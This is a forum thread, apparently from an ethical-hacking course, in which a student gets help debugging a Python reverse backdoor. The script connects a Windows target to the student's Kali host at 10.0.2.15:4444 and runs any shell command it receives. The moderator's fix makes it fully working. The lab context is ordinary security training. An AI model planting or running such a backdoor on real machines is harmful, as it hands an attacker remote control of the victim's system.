- This topic has 3 replies, 2 voices, and was last updated 4 years, 5 months ago by Diego Pérez.
- AuthorPosts
- July 4, 2020 at 7:52 pm #41413Peter QueenParticipant
Hello,
I am having problem with executing command remotely. My kali connection works fine and I am able to establish connection but as soon as I type a command I get an error on the Windows target machine.
This is the reverse backdoor code I run on the target machine:
#!/usr/bin/env python import socket import subprocess def execute_system_command(command): subprocess.check_output(command, shell=True) connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect(("10.0.2.15", 4444)) while True: command = connection.recv(1024) command_result = execute_system_command(command) connection.send(command_result) connection.close()
and this is the error I get:
C:\Users\IEUser\Python>C:\Python27\python.exe reverse_backdoor.py Traceback (most recent call last): File "reverse_backdoor.py", line 15, in <module> connection.send(command_result) TypeError: send() argument 1 must be string or buffer, not None
I tried to Google a solution but I could not solve it.
Thanks
July 5, 2020 at 3:59 am #41424Diego PérezModeratorHi Peter!
You are nor returning the result of subprocess module in your function:
def execute_system_command(command):
subprocess.check_output(command, shell=True)You are just calling the module, so you need to return it’s output, if you don’t understand what I’m saying will recommend to watch the lecture again.
Let me know how it goes!
DiegoJuly 6, 2020 at 12:11 pm #41485Peter QueenParticipantSort thanks Diego!, just added return
July 7, 2020 at 3:54 am #41560Diego PérezModeratorHi Peter!
Cool you got it!
Diego - AuthorPosts
- You must be logged in to reply to this topic.